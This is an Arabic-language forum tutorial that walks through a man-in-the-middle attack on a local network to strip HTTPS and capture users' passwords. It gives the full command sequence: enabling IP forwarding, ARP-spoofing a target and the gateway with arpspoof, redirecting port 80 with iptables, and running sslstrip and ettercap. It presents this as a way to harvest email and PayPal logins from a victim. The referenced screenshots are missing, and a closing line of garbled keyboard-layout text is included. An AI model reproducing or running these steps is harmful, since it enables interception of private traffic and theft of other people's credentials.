تخطي الـhttps & http والحصول على باسووردات المستخدمين والأدمن

[MATRIX ALGERIA]

السلام عليكم ورحمة الله وبركاته
مساء الخير للجميع
درسنا اليوم عن:
1- تخطي حماية الـ HTTPS
2- كسر الباسووردات المستخدمه للدخول عبر الـ HTTP
واستخدام اداه sslstrip للتجسس على الشبكه والحصول على باسوورد الإيميل وجميع الباسووردات الأخرى التي تحتوي اثناء الدخول علىHTTPS
اولا بعد الدخول بصلاحية الروت طبق الأمر التالي

   nano / etc / etter.conf  

امسح الـ # في بداية السطرين الظاهرين بالصوره
ومن ثم احفظ الجلسه ب CTRL+x ومن ثم اضغط حرف y للحفظ

ثم طبق الأمر التالي

   echo 1 > /proc / sys/ net/ ipv4/ip_forward  

ثم اطبع

   arpspoof -i wlan0 -t 192.168.1.84 192.168.1.254  

مع العلم ان

192.168.1.8= الأ بي المستهدف داخل الشبكه
192.168.1.254 = Gateway للشبكة
ستلاحظ الأتي:



افتح سيشن جديد وصلاحيتك رووت طبق الأمر التالي

   iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000  

تحويل الترافيك الى بورت 10000
ثم
اطبع الأمر التالي

  
        sslstrip -a -k -f  

حين ووصول البيانات ستلاحظ ظهور المعلومات التاليه في هذه الجلسه

واترك السيشن وافتح سيشن جديده واطبع التالي

   ettercap -T -q -i wlan0  

ملاحظه تستطيع استبدال wlan0 بـ eth0 على حسب الانترفيس تبعك

الأن باقي ننتظر المحترم يفتح الايميل سواء جي ميل او ياهو او هوت ميل او باي بال او اي موقع يطلب اليوزر والباسوورد والـ HTTPS

انتهى

المصدر: :: vBspiders Professional Network ::

---

jo'd hgJhttps & http ,hgpw,g ugn fhs,,v]hj hglsjo]ldk ,hgH]lk